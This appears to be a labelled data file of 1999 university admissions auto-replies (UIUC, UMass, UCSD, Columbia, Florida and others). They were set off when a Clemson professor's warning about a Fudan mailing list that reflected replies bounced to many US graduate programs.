the Graduate College web site where the application forms are also located. They have made available the acrobat reader to allow them to be downloaded and/or printed. The only other piece of information that is required by the Department of Computer Science is an interest sheet. This is not currently available on our the web site. The form will be mailed to you upon receipt of your application. However, in the event that you do not have access to a web browser, you may make a special request for application materials by sending email to: appls@cs.uiuc.edu. Only one request necessary. No request that has a ""invisible"" mail header or multiple email addresses in the header will be honored. This service will only be for those persons who have attempted to secure our materials through the web site and were unsuccessful. You must indicate in your request what difficulties you experienced in downloading the materials or no packet can be sent to you. The materials will be sent as quickly as possible, but may not reach you in time to apply for a term if the deadline is close. YOU MUST INDICATE THE DIFFICULTY YOU HAD IN DOWNLOADING THE MATERIALS TO HAVE THEM MAILED TO YOU. Application deadlines are always as follows: For a summer or fall term's consideration January 15 For a spring term's consideration September 1 Admission to the CS department at UIUC is highly competitive. No informal evaluation or assessment will be done prior to submission of the official application and materials. Therefore it is the responsibility of the applicant to determine if they are within admissible range. The final decision for admission and financial aid is a committee decision. Applications will be forwarded to the committee for review when all credentials are received and the file is complete. The decisions of the committee are final. You may, if you wish, submit photocopies of test scores such as TOEFL, TSE and GRE at the time of application. Please be aware that official copies from ETS will be required if your application is recommended for admission. This is the policy of the university and the department has not authority to waive the requirement. The Computer Science Department has no authority to waive any of the university or state requirements, such as the application fee or TOEFL or TSE scores. A request for an application fee waiver must accompany the application form. Be forewarned that the Office of Admissions and Records rarely grants a fee waiver. If no fee is received and no waiver is granted the application will not be forwarded to a department for admissions consideration. It is in your best interest to submit the application fee if at all possible. The State of Illinois requires a passing TSE (Test of Spoken English) be achieved prior to an award of a Teaching Assistantship (TA). A passing score is 50/60 on the new exam and 230/300 on the older version. SPEAK scores from exams taken off the UIUC campus are not acceptable. A passing score does not, however, guarantee an award of a TAship or any form of financial aid. TAships are the most common form of financial aid for new Computer Science Graduate students. C. If your inquiry is about the status of your I-20 form please note that you will be notified by the Office of International Admissions directly to confirm your current mailing address. Upon return of the certification form to Admissions you will be issued the I-20 form. Also please note that the Department of Computer Science can not speed up the processing of the I-20 in any way. During heavy processing periods Admissions works as fast as possible to finalize admissions and produce the necessary entrance materials. D. All other inquiries will be answered as quickly as possible. ",0,0 admissions ,,"Thu, 26 Aug 1999 21:13:18 -0500",,"Thank you for your e-mail inquiry. Expect an answer from us within two weeks. The University of Iowa web site is http://www.uiowa.edu. Undergraduates are encouraged to submit their applications electronically from our web site at http://www.uiowa.edu/admissions/Undergrad/apply/applications.html. Undergraduates from other countries may download an application from our web site at http://www.uiowa.edu/admissions/intl/apply.html. The University of Iowa General Catalog can be found at http://www.uiowa.edu/registrar/catalog/. If you need to contact us, please call 1-800-553-4692 (within the U.S.) or 1-319-335-3847. Thank you for your interest in The University of Iowa. ",0,1 UMass Graduate School ,westall@mailhost.cs.clemson.edu,"Thu, 26 Aug 1999 22:15:46 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"Thank you for your interest in the Graduate School at the University of Massachusetts Amherst. Unfortunately, due to the large volume of e-mail we receive, we are unable to respond individually to each. A few general questions are answered below; however, there is much more information posted on the Graduate School's website at: www.umass.edu/gradschool If you are requesting admissions information, please complete and submit the application request form found on our website at: www.umass.edu/gradschool/request Your materials will be mailed to you within a couple of days of the form's submission. For international mailings, please allow at least 3 weeks to receive this application. PLEASE DO NOT MAKE DUPLICATE REQUESTS DURING THIS PERIOD AS THEY WILL NOT BE PROCESSED. >From this site you can also download a copy of the entire application form in a matter of a few minutes, and we certainly advise you to choose this option, if possible. If you do not have access to the web, you can resubmit your e-mail but use this address: gradapp@resgs.umass.edu . Bear in mind that there may be processing delays using this procedure. Be sure to include a complete address and desired program if you are requesting admission materials. APPLICATION FEE WAIVERS If you are an international applicant, the $40.00 application fee can NOT be waived or deferred. We recommend that you not request admissions materials unless your are in a position to pay the fee. An application submitted without the fee simply will NOT be processed. FORM OF PAYMENT An application fee can be paid by check or money order as long as it is drawn on a U.S. bank. The fee can also be paid by credit card (Visa or MasterCard). Please do not send cash. STATUS OF APPLICATION Upon receipt of an application, it will be forwarded to the appropriate faculty for their consideration. You will be able to check on the status of credentials received and any decision by accessing the Graduate School's web site. You will need a PIN which will be mailed to you after of your application has been processed. PIN's are not sent by e-mail or given over the telephone. UNIVERSITY FUNDING For all applicants most funding is granted through the department to which you apply. Questions concerning this funding should be directed to that department. U.S. citizens may also submit a FAFSA form to the Financial Aid Office for need-based funding. TEST SCORES An official copy of test results from the Educational Testing Service must be submitted, when required (refer to application form). Photocopies are not considered official. A TOEFL score of 550 (CBT-213) is required by the Graduate School. For other tests (GRE & GMAT) there are no minimum scores established by the Graduate School. If you have a specific question or concern which remains unanswered, you can send it to this e-mail address: gradques@resgs.umass.edu ",0,0 admissionsinfo@reg.ucsd.edu,westall@cs.clemson.edu,"Thu, 26 Aug 1999 19:11:01 -0700",Automatic reply,"YOU HAVE REACHED THE UCSD ADMISSIONS AUTOMATIC RESPONSE E-MAIL ADDRESS IMPORTANT UCSD AND UC WEB SITES UCSD UNDERGRADUATE ADMISSIONS: UC GENERAL INFORMATION (PATHWAYS) UCSD OFFICE OF GRADUATE STUDIES: UCSD INTERNATIONAL STUDENT INFO: UC INTERNATIONAL STUDENT INFO: A. IMPORTANT APPLICATION INFORMATION 1. APPLICATION PERIOD The undergraduate application period for Fall Quarter 1999 closed at Midnight, November 30,1998. UCSD accepts applications for Fall Quarter only. Applications for Fall Quarter 2000 will be accepted only during the month of November, 1999. 2. UNDERGRADUATE ADMISSIONS OFFICE HOURS Our regular office hours are 8:00am to 4:30pm, Monday through Friday. We are closed on legal and official holidays. Please note that the office will be closed on Monday September 6, 1999, for the Labor Day holiday. Complete UCSD academic calendar information is available from the Office of the Registrar's web site at . B. UCSD UNDERGRADUATE ADMISSIONS WEB SITE The Undergraduate Admissions web site is an excellent place to learn more about the UCSD campus. It includes overviews of the five undergraduate colleges, transfer admission, freshman eligibility, selection criteria and international admissions. Enjoy interviews with current students, link to the UCSD General Catalog and more. FOR FULL DESCRIPTIONS OF THE FIVE UNDERGRADUATE COLLEGES by telephone, call (619) 822-0123 for our recorded message or view home pages of the Undergraduate Colleges on-line at:. C. UC PATHWAYS INFORMATION CENTER Web Address: The UC Pathways Information Center provides on-line access to a variety of information resources for prospective applicants to the University of California. On-line versions of such UC publications as ""Answers for Transfers,"" ""Introducing The University,"" and ""Quick Reference for Counselors,"" are available. Also accessible from this site are directories of UC campus web sites, international student and financial aid information, UC-Certified ""a-f"" Course Lists for California High Schools, Transferable Course Agreements and IGETC Course Agreements for California Community Colleges. D. UCSD GRADUATE ADMISSIONS AND ACADEMIC PROGRAM INFORMATION Web Address: or E-mail to: The Office of Graduate Studies & Research web site provides information about graduate study programs and application procedures. Recorded graduate study information is also available at (619) 534-1193. You may speak with an OGSR staff member by calling (619) 534-3555. E. PERSONAL E-MAIL REPLY If the information resources above or below do not provide the answers you are seeking, please E-mail your questions to: PLEASE READ THE FOLLOWING FOR MORE INFORMATION F. WHEN AND HOW TO APPLY TO UCSD UC San Diego accepts applications for the Fall Quarter only, which begins in September. We do not accept applications from persons seeking second Baccalaureate Degrees. Applications must be submitted between November 1st and Midnight, November 30th, for the Fall term of the following calendar year. Only one Undergraduate Application form is needed to apply to all eight University of Caliornia campuses. A fee of $40 is required for each campus to which you are applying. Admissions applications are available in September each year, at all University of California campuses, California community colleges and California high schools. Individual applications are not mailed to addresses within California. Prospective INTERNATIONAL and DOMESTIC students living outside California are STRONGLY advised to use the UC PATHWAYS electronic application at , on the World Wide Web. THE PATHWAYS application service is open to all prospective applicants, beginning in October each year. APPLICATION MAILING DATES Between September 6, 1999 and November 22, 1999 only, paper copies of the application may be mailed, upon request, to applicants living outside California, who are not able to use the on-line application to apply for Fall Quarter of the year 2000. G. UCSD TRANSFER ADMISSION PRIORITIES Only applicants who will have junior standing upon entry are considered for transfer admission to UCSD. The number of transfer applications far exceeds the spaces available. Therefore, UCSD observes the following transfer admission priorities: 1. Transfer Admission Guarantee (TAG) Program applicants 2. All other California Community College applicants 3. Applicants from other UC campuses (Inter-campus Transfer) 4. Upper-Division California residents from other four year institutions. 5. Upper-Division non-California residents. IN THE PAST THREE YEARS, UCSD HAS ADMITTED TRANSFER STUDENTS FROM CATEGORIES #1 AND #2. ONLY A FEW STUDENTS FROM CATEGORY #3 AND NONE FROM #4 AND #5 WERE ADMITTED. H. INFORMATION FOR INTERNATIONAL APPLICANTS Important information useful to international applicants is available from the following specialized web sites: 1. UCSD campus information about ENGLISH LANGUAGE REQUIREMENTS (TOEFL), PASSPORTS AND VISAS, FINANCES, HOUSING, HEALTH CARE AND INSURANCE: 2. Similar information from the UC Office of the President as well as access to other University of California campuses can be found at: I. DISCOVER UCSD--TAKE A CAMPUS TOUR Visit the beautiful UCSD campus! Student-led campus tours are scheduled Monday through Saturday at 11:00am, except holidays. Weekday tours are followed by a 12:30pm general information session conducted by an admissions counselor. Tour information is available on the ADMISSIONS & OUTREACH web site at: . Obtain tour information and make reservations as follows: By PHONE: (619) 534-1935 By E-mail: campustours@ucsd.edu J. UCSD GENERAL CATALOG INFORMATION General Catalog Web Address: SECURE GENERAL CATALOG ORDER FORM Web Address: (Accepts VISA, DISCOVER, American Express, Master Card, Diners Club) K. OFFICIAL UCSD WORLD WIDE WEB SITE-InfoPath Web Address: InfoPath provides access to a wide variety of University information, including academic departments, programs and majors, centers, institutes, organized research units, student services departments, student organizations, programs, activities and other information for prospective students, visitors and the public. Search InfoPath for access to information resources not cited above. MAKING THE RIGHT CHOICE Choosing a university is one of the most important decisions you will ever make. At UCSD, you will study with some of the best and brightest students in the United States. You will also find an atmosphere of academic challenge and a diversity of recreational and social opportunities. ONE GREAT UNIVERSITY--FIVE COLLEGE CHOICES The five UCSD undergraduate colleges-- Eleanor Roosevelt, Earl Warren, Thurgood Marshall, John Muir and Revelle bring our students the best of two worlds - the friendliness of a small college and the resources of an internationally renowned research university. Each of our colleges has its own identity and unique educational philosophy, traditions, general education requirements, residential facilities and staff. When applying to UCSD, you will rank the five colleges in order of your personal preference. You may pursue any major regardless of your college affiliation. Students from all colleges attend classes together and are taught by campus-wide faculty. Additional on-line information about college choice is available from the UCSD General Catalog at . You can also visit individual web sites for the five undergraduate colleges. You will These sites can be accessed from . Thank you for your interest in the University of California, San Diego. UCSD Office of Undergraduate Admissions & Outreach Telephone (619) 534-4831 ******************************************************************************* ******************************************************************************* Your message reads: Received: from mailbox3.ucsd.edu (unverified [132.239.1.55]) by reg.ucsd.edu (EMWAC SMTPRS 0.83) with SMTP id ; Thu, 26 Aug 1999 19:11:01 -0700 Received: from mailgw.bn3.com ([216.101.25.190]) by mailbox3.ucsd.edu (8.9.3/8.9.3) with SMTP id TAA21497 for ; Thu, 26 Aug 1999 19:13:47 -0700 (PDT) Received: (qmail 11099 invoked by uid 508); 27 Aug 1999 02:10:40 -0000 Delivered-To: m7-cslist@fudan.edu Received: (qmail 11097 invoked from network); 27 Aug 1999 02:10:39 -0000 Received: from citron.cs.clemson.edu (HELO cs.clemson.edu) (130.127.48.6) by softdnserror with SMTP; 27 Aug 1999 02:10:39 -0000 Received: from jmw.cs.clemson.edu (jmw [130.127.48.24]) by cs.clemson.edu (8.9.3/8.9.3) with ESMTP id WAA22949; Thu, 26 Aug 1999 22:11:36 -0400 (EDT) From: Mike Westall Received: (from westall@localhost) by jmw.cs.clemson.edu (8.9.3/8.9.3) id WAA01370; Thu, 26 Aug 1999 22:11:36 -0400 (EDT) Date: Thu, 26 Aug 1999 22:11:36 -0400 (EDT) Message-Id: <199908270211.WAA01370@jmw.cs.clemson.edu> To: cslist@fudan.edu, rutgers@ces.clemson.edu Subject: (Hopefully) the LAST msg to fudan.edu I have tried to avoid contributing to this problem but it now looks like it will go on forever if I don't inject one more message. The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU If you are interested in the ""why"" continue to read the message I sent earlier. I plan to send Mr. Gao a message that he and any other students who use this time-wasting spam attack that he can forget about receiving materials from Clemson. >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA (maybe multiple messages!) > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >at Clemson inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Dept. of Computer Science >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. D. program of Computer Science of your >>esteemed University with financial aid in Fall'2000. And now I am graduate >>student of Fudan University,P.R. China.Can you do me a favor to send >>the application form to the address below. MW ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 gsas.admissions@nyu.edu,,"Thu, 26 Aug 1999 22:14:09 -0400",Your E-Mail,"Thank you very much for your inquiry to NYU Graduate School of Arts and Science. Your question is important to us, and we will respond to you as quickly as possible. * If you are requesting an application or Bulletin, we will mail one to you shortly. Depending upon the mail delivery time, it may take as long as three weeks before you receive the materials. * If your message included questions about other matters, we will email a response to you as soon as possible. Thank you again for your inquiry. We appreciate your interest in the Graduate School. Graduate Enrollment Services gsas.admissions@nyu.edu ",0,0 """grad_adm@cs.iastate.edu"" ",westall@mailhost.cs.clemson.edu,"Thu, 26 Aug 1999 21:14:12 -0500","Automagic response to ""(Hopefully) the LAST msg to fudan.edu""","(To avoid getting this response again, you can include the string ""AUTO-IGNORE"" in your subject line.) Your message regarding ""(Hopefully) the LAST msg to fudan.edu"" has been received and logged. Your electronic mail message has been received by the Computer Science Department at Iowa State University. If you requested graduate application materials, they will be sent by email within one week unless you specified postal mail. First, you will receive application materials from our department and then we will forward your request to Graduate Admissions. They will mail college application materials by postal mail. Any materials you receive by postal mail could take up to eight weeks to arrive. The application deadline for Spring admission is September 15 and February 1 for Fall admission. Only COMPLETE applications that have finished the review process will be considered for funding and scholarship awards. Applications received after the deadline will be moved to the following semester. If you did not ask for application materials, your email will be answered shortly. Thank you. -- ****************************************************************** Melanie Eckhart Computer Science Graduate Secretary Voice: (515) 294-8361 Iowa State University FAX: (515) 294-0258 226 Atanasoff Hall Internet: eckhart@cs.iastate.edu Ames, Iowa 50011 ****************************************************************** ",0,0 seasgradmit@columbia.edu,Mike Westall ,"Thu, 26 Aug 1999 22:14:25 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"If you are an admitted student for Fall 1999, Congratulations! Our orientation program is scheduled for Thursday and Friday, September 2 and 3 from 1-8:00 p.m. on September 2 and from 10:30-12:00 noon on September 3. You may confirm your attendance at this e-mail. Classes begin on Tuesday, September 7, 1999 as Monday, September 6 is a holiday and all University offices will be closed. If you are a prospective student, we thank you for your interest in The Fu Foundation School of Engineering and Applied Science at Columbia University. Due to the large volume of e-mail we receive daily, we have included information in this automated reply that addresses the most frequently asked questions. If your questions are not answered below, a member of our staff will be sending you an individual message soon. If you are writing to request an application, we will be mailing our new application viewbooks in late August as they are not available at this time. You may request an application from our website at www.seas.columbia.edu which is a much faster and automated request. Applicants are encouraged to submit all application and supporting documents by the following deadlines: January 5 for all Fall/September term applicants (any degree level) who are applying for financial aid; January 5 for all Ph.D., EngScD, and MS leading to the Ph.D. degrees; February 15 for Professional, MS only, and Non-degree (special) students. The deadline for Spring/January term is October 1, 1999 for applicants to all programs beginning January 2000. Graduate Record Examination (GRE) general test results are required for all applicants. Applicants to degree programs in Computer Science must also submit official results of the GRE Subject Examination in computer science. Test of English as a Foreign Language (TOEFL) results are required from all applicants who completed their bachelor's degree in a country where English is not the official and spoken language regardless if you have completed an advanced degree in the United States. All score reports must be official and sent to the Office of Graduate Student Services directly from the Educatoinal Testing Service (ETS). GRE scores are valid for 5 years and TOEFL scores are valid for two years. If you are inquiring about financial aid, you may contact that office directly at engradfinaid@columbia.edu regarding federal financial aid programs. If you still have questions that were not addressed above, we will respond to you as soon as possible. ---------------- Original follows ---------------- >From westall@mailhost.cs.clemson.edu Thu Aug 26 22:14:25 1999 Received: from mailrelay1.cc.columbia.edu (mailrelay1.cc.columbia.edu [128.59.35.143]) by mailhub1.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id WAA00664 for ; Thu, 26 Aug 1999 22:14:24 -0400 (EDT) Received: from mailgw.bn3.com ([216.101.25.190]) by mailrelay1.cc.columbia.edu (8.8.5/8.8.5) with SMTP id WAA07633 for ; Thu, 26 Aug 1999 22:14:22 -0400 (EDT) Received: (qmail 11099 invoked by uid 508); 27 Aug 1999 02:10:40 -0000 Delivered-To: m7-cslist@fudan.edu Received: (qmail 11097 invoked from network); 27 Aug 1999 02:10:39 -0000 Received: from citron.cs.clemson.edu (HELO cs.clemson.edu) (130.127.48.6) by softdnserror with SMTP; 27 Aug 1999 02:10:39 -0000 Received: from jmw.cs.clemson.edu (jmw [130.127.48.24]) by cs.clemson.edu (8.9.3/8.9.3) with ESMTP id WAA22949; Thu, 26 Aug 1999 22:11:36 -0400 (EDT) From: Mike Westall Received: (from westall@localhost) by jmw.cs.clemson.edu (8.9.3/8.9.3) id WAA01370; Thu, 26 Aug 1999 22:11:36 -0400 (EDT) Date: Thu, 26 Aug 1999 22:11:36 -0400 (EDT) Message-Id: <199908270211.WAA01370@jmw.cs.clemson.edu> To: cslist@fudan.edu, rutgers@ces.clemson.edu Subject: (Hopefully) the LAST msg to fudan.edu I have tried to avoid contributing to this problem but it now looks like it will go on forever if I don't inject one more message. The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU If you are interested in the ""why"" continue to read the message I sent earlier. I plan to send Mr. Gao a message that he and any other students who use this time-wasting spam attack that he can forget about receiving materials from Clemson. >I have gotten two of these today. One from SUNY Buffalo and one >from UCSC. (I also got an ""original"" from China) > >As near as I can tell here is what is happening: >Fudan has a mail distributer that Mr. Gao sends a message to >and the distributer sends the message to EVERY CS grad program >in the good ole USofA (maybe multiple messages!) > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >at Clemson inadvertently >sends their canned responses to cslist@fudan.edu rather than >gyqin@fundan.edu... then their reply is reflected back to everybody >on the original list and to make matters worse, Mr. Gao never >sees it and so he may try again! > >I don't think we will EVER stop this Chinese spam and so it would >appear that any of us who respond should be REALLY careful not to >respond to what looks like a list! > >Mike Westall >Professor of Computer Science and >Director of Graduate Affairs >Dept. of Computer Science >Clemson University > > >>Delivered-To: m7-cslist@fudan.edu >>Date: 25 Aug 1999 03:13:15 -0000 >>From: Gao Yongqin >>To: cslist@fudan.edu >>Subject: Application Form Request >> >>To Who It May Concern, >> >>I am an applicant for the Ph. D. program of Computer Science of your >>esteemed University with financial aid in Fall'2000. And now I am graduate >>student of Fudan University,P.R. China.Can you do me a favor to send >>the application form to the address below. MW ________________ Email Forwarding Service Brought To You By: http://www.bn3.com. We can let you become anybody@anyplace.com. FREE, In 5 minutes!",0,1 OsuAdmit@orst.edu,westall@cs.clemson.edu,"Thu, 26 Aug 1999 19:14:32 -0700",RE: (Hopefully) the LAST msg to fudan.edu," Hello from the Oregon State Admission & Orientation Office! We are glad to know of your interest in OSU. We have received your request for information and will send a complete response as quickly as possible. For international requests, this may take a few weeks so please be patient. There is no need to send additional requests. We also invite you to browse our WEB site at http://osu.orst.edu. There you will find details on many topics of interest, including visiting campus, future open houses, and recruiter visits to your area of the world. If we can help you any further, please call us at 1-800-291-4192 between 8:00 am and 5:00 pm Pacific Standard Time. Go Beavs! Office of Admission and Orientation Oregon State University Oregon's Premier Teaching and Research University ",0,1 """CS Dept. Admissions Autoresponder"" ",westall@cs.clemson.edu,"Thu, 26 Aug 1999 21:14:39 -0500",Re: (Hopefully) the LAST msg to fudan.edu,"Dear Prospective Applicant: Thank you for your interest in obtaining the graduate application materials of the Department of Computer Science at the University of Chicago. Please refer to our Questions-and-Answers list. List of Frequently Asked Questions: ----------------------------------------------------------------------- 1. What graduate degree programs does the department offer? Ph.D. program and Master's program. The Ph.D. program was established in 1983. The Chicago Professional Programs in Computer Science (formerly referred to as the Conversion Master's Program) was established in 1997. ----------------------------------------------------------------------- 2. What is the deadline for applying to the Ph.D. program? The deadline is always January 5th. We will need to receive your complete application by January 5, 2000, in order to consider you for Fall 2000 admissions. ----------------------------------------------------------------------- 3. What is the deadline for applying to the Chicago Professional Programs in Computer Science? The deadline is stated as March 1st for Summer Quarter admissions, but we try to be flexible with that deadline. The majority of students entering the CPPCS begin in the Summer Quarter and take the full-time, intensive programming immersion courses. Applicants with a significant amount of prior programming skills might receive permission to have the summer course waived. May 1st is the deadline for fall admissions. ----------------------------------------------------------------------- 4. What are the requirements for Ph.D. admissions? * Completed application, including Statement of Purpose * Three letters of recommendation * Official transcripts * GRE scores * GRE Subject Test scores (usually in Math or CS) * TOEFL scores (foreign applicants) * Any other supporting documentation you deem appropriate (e.g., copies of authored papers) ----------------------------------------------------------------------- 5. What are the requirements for Chicago Professional Programs in Computer Science admissions? * Completed application, including Statement of Purpose * Three letters of recommendation * Official transcripts * GRE scores * TOEFL scores (foreign applicants) ----------------------------------------------------------------------- 7. What are the TOEFL score requirements? For the computer based test, an applicant must receive a total score of at least 213, with a score of at least 21 in each section. For the paper based test, an applicant must receive a total score of at least 550, with a score of at least 55 in each section. ----------------------------------------------------------------------- 8. Is financial aid available? The department does not offer financial aid to students enrolled in the CPPCS. Usually students enrolled in the Ph.D. program do receive financial aid from the department. In return, those students often serve as Teaching or Research assistants. ----------------------------------------------------------------------- 9. Do you offer any programs or courses in Engineering? No. The University of Chicago does not offer study in any type of engineering. If you wish to study Electrical Engineering, Computer Engineering, Civil Engineering, etc., then the University of Chicago is not a good match to your interests. ----------------------------------------------------------------------- 10. Does Computer Science have a web page? Yes. The URL is http://www.cs.uchicago.edu. Please take a moment to view our page if you have access to the World Wide Web. Our web page is full of useful information (course schedules, faculty research interests, colloquium schedule, information about requirements, etc.). ----------------------------------------------------------------------- 11. Do you also offer a bachelors program in Computer Science? Yes we do. Admissions to the College must be made through the Office of College Admissions. �Their address is Office of College Admissions, The University of Chicago, 1116 E. 59th Street, HM 186, Chicago, IL 60637. If you would like to receive some information describing the course requirements for the bachelors program in Computer Science, please send a note to margaret@cs.uchicago.edu. ----------------------------------------------------------------------- 12. How can I request the application packet for the Chicago Professional Programs in Computer Science? You can send your request via e-mail to (be sure to include your mailing address), or you can connect to this URL: http://professional.cs.uchicago.edu and follow the link to request an application. You may also request the application forms by mail, phone, fax, or in person. ----------------------------------------------------------------------- 13. How can I request the application packet for the Ph.D. Program? Please complete the pre-application form shown below and return it to . The form may also be mailed to us. ***** Pre-application Form for Application Materials for the Ph.D. Program in Computer Science. For Autumn 2000 admissions. Department of Computer Science, The University of Chicago 1100 E. 58th Street, Ryerson Hall, Chicago, IL 60637 --------------------------------------------------------------------- Name: _____________________________________________________________________ (first) (middle) (last/family) Date of Birth: __________________________________ (month) (day) (year) E-mail Address: _________________________________________ Mailing Address: _________________________________________ _________________________________________ _________________________________________ _________________________________________ Citizenship: __ U.S. citizen, __ Permanent Resident, __ Refugee, __ Other (country:_______________________) Probable area of interest: __ Theoretical Computer Science __ Programming Languages and Systems __ Numerical Analysis __ Artificial Intelligence Brief Statement of Purpose (only a paragraph or two): Previous Colleges or Universities Attended:",0,1 faq@graduate.ece.ufl.edu,westall@cs.clemson.edu,"Thu, 26 Aug 1999 22:11:15 -0400",(Hopefully) the LAST msg to fudan.edu,"You have reached the Graduate Program of the Department of Electrical and Computer Engineering of the University of Florida. Thank you for your message. This document contains answers to some common questions (FAQ) about our program. Please read it carefully. If after reading this document you have further questions, please email your question to the email address: question@graduate.ece.ufl.edu and mention AT THE START OF YOUR MESSAGE that you have already received and read the FAQ. NEWS FLASH: The financial responsibility requirement has been reduced to one year... >From now on, international students need to show only $22,060 ($22,800 for Fall 2000) in funds to obtain the I-20 form. Q. Please send me application forms. A. We will be glad to send you the application forms. The easiest way of getting the application forms is on-line, by directing your web browser to the address http://www.ece.ufl.edu/grad_info/apply If you encounter some difficulties with the web site, please try again later, as the server may be busy. If for any reason you prefer to receive the application forms by mail, please send another email message containing only your name and complete mailing address to forms@graduate.ece.ufl.edu Please note that you must send a message to this address in order to receive the forms by mail. It will take about 8 weeks for you to receive the forms through the postal service. Thank you. *) I have received the application package, and it contained only one copy of the recommendation letter form. Can I photocopy this form ? Answer: Sure, you can photocopy the recommendation letter form. *) Is it possible to obtain a waiver for the Application Fee ? Answer: Unifortunately, Not. We don't have a way of providing a waiver for the application fee. *) How do I arrange for my friend in the USA to pay the application fee ? Answer: Send him/her your application package. They should add the application fee to the package, and send the completed package to the University. *) Could you consider my application without official GRE and TOEFL scores ? Answer: Unfortunately, we cannot. The University Admissions Office absolutely requires official testing scores and official transcripts. Without these, the admissions office does not refer your case to our department, and we cannot consider you for admission. *) Is it possible for an International student to obtain a Teaching Assistantship or a Research Assistantship ? Answer: Yes, International students can obtain Teaching Assistantships or Research Assistantship. These are awarded on a competitive basis to the best students that apply each year. *) What do I need to do in order to be considered for a Teaching Assistantship? Answer: You need to take the TSE (Test of Spoken English), and obtain a score of 55 or higher (the TSE is not required for admission). *) I have not taken the TSE; does this mean I can never obtain a Teaching Assistantship ? Answer: No; it only means that you cannot be considered for a Teaching Assistantship before coming here. Once you are here, you will be able to take the English Speaking test when you are ready, and we will consider you for a teaching assistantship when you pass that test. *) What do I need to do in order to be considered for a Research Assistantship? Answer: Research Assistantships are offered by individual faculty members in your area of interest. Information about our faculty members, their areas of interest, and how to reach them, is available on our web page, at www.ece.ufl.edu *) Is the money provided by an assistantship sufficient for living ? Answer: An assistantship usually includes a tuition waiver + a stipend; the stipend can cover very basic subsistence, but you may need some extra funds to cover your living expenses. *) Do I need to fill out the Financial Responsibility Form, even if I want to apply for an Assistantship ? Answer: Yes. The financial responsibility form is a requirement of the USA Immigration Service, and is needed for your Visa to enter the USA. If you obtain financial assistance from us, then we will provide the funds required to certify the financial responsibility form. However, ONLY A MINORITY OF INTENATIONAL APPLICANTS OBTAIN FINANCIAL ASSISTANCE BEFORE COMING HERE. A completed financial responsibility form is needed before you can obtain from us the I-20 form, which is necessary for you to obtain a Visa to enter the USA. Sorry, but this is a requirement of the USA government. *) What percentage of International students obtain an Assistantship ? Answer: This varies somewhat from year to year. Roughly speaking, about a quarter of incoming International students receive an assistantship for their first semester. Many more International students that excel in their studies receive an assistantship after being with us for one or two semesters. Ultimately, the majority of our excelling International students receive some form of Assistantship. *) What are the minimum requirements for admission ? For the Master's program, the minimum admission requirements are a GRE score of 1000 (Verbal + Quantitative), and a Grade Point Average (GPA) of 3.00. The GPA is calculated by our office based on your transcripts, and the minimum GPA for admission varies somewhat from country to country and from University to University, based on our experience with past students. For the PhD program, you need a GRE score of 1200 (Verbal + Quantitative), and a GPA of 3.5. For both the Master's program and the PhD program, the TOEFL must be at least 550, and the verbal GRE at least 350. According to state laws, WE CANNOT ADMIT STUDENTS WITHOUT GRE AND TOEFL SCORES. *) How long does it take to complete a Master's degree ? That depends on the course load you take. You need 33 credit hours for a Masters degree, and 12 credit hours per semester is regarded as a full load. It is possible to complete a Master's degree in 3 semesters. *) How much does it cost ? The total expenses for an International student, including tuition and cost of living, amount to about $22,000 per year. Of course, if you obtain an Assistantship, the cost to you will be much smaller, as the Assistantship provides tuition and some living expenses. *) I have recently sent some documents you have requested; have these been received ? Answer: It takes currently about 8 weeks for us to file documents we receive in the mail, and prior to filing the documents, we cannot answer this question due to the large amount of mail we receive. There is though no reason for you to worry; our experience shows that virtually all documents sent to us are received in order. *) I have received an admission letter with no financial support; is there some other way to obtain financial support? Is it too late to apply for a Research Assistantship now? How can I apply for a research assistantship? Answer: If your admission letter indicates that we did not have funds to provide you with initial financial support, then our office indeed does not have these funds. Nevertheless, there is still a good chance that you may obtain financial support one or two semesters after coming here, if you excel in your studies. Most of our faculty members are reluctant to hire Research Assistants they have not seen in person. Consequently, it is much easier to obtain an RA after being here for some time. It is not too late to apply for an RA, although the chances for obtaining one unseen are not very high. If you like to try anyway, please select faculty members in your area of interest from our web site www.ece.ufl.edu *) What forms of financial support are available for students that excel in their studies, one or two semesters after their arrival? Answer: We have opportunities for Teaching Assistants, Research Assistants, and various Engineering projects on campus. The majority of our excelling students do obtain financial support from one of these sources after being here for some time. *) I did not take the TSE, or have obtained a score less than 55; can I be a Teaching Assistant anyway? Answer: Unfortunately not; we require TSE with a score of 55 or higher for new students to become Teaching Assistants, so they can teach in our Laboratories. No exceptions are made to this rule. However, the TSE (or equivalent test) can be taken here on campus after your arrival. If you pass the test with an appropriate grade, you will be considered for a teaching assistantship for a later semester. We cannot, however, guaranty you will obtain a teaching assistantship. *) I have sent in all my application materials, but have received no response; can you please check the status of my application? Answer: In order to make sure that your application has been received, check that your check or other payment has cleared. The admissions office does not permit us to consider applications without fee. In general, applications do not get lost, since the documents for each applicant arrive from several independent sources (the applicant, ETS for GRE and TOEFL scores, and your university for transcripts). If some of the documents are missing, you will be notified. It takes the admissions office at least 8 weeks to enter your record into the computer system. Before your record is in the computer system, we cannot verify whether or not it is complete, since we have no access to the materials before they are entered into the computer system. The admissions office does not send you any notice if your file is OK; but you will get a notice if there are missing documents. So please be patient. Just make sure you have made arrangements for the admissions office to receive originals of your transcripts, GRE score, and TOEFL score (if needed). After the admissions office record is complete, it takes our department another 3-4 weeks to make a decision on your admission. When a decision is made, we shall send you a letter immediately, 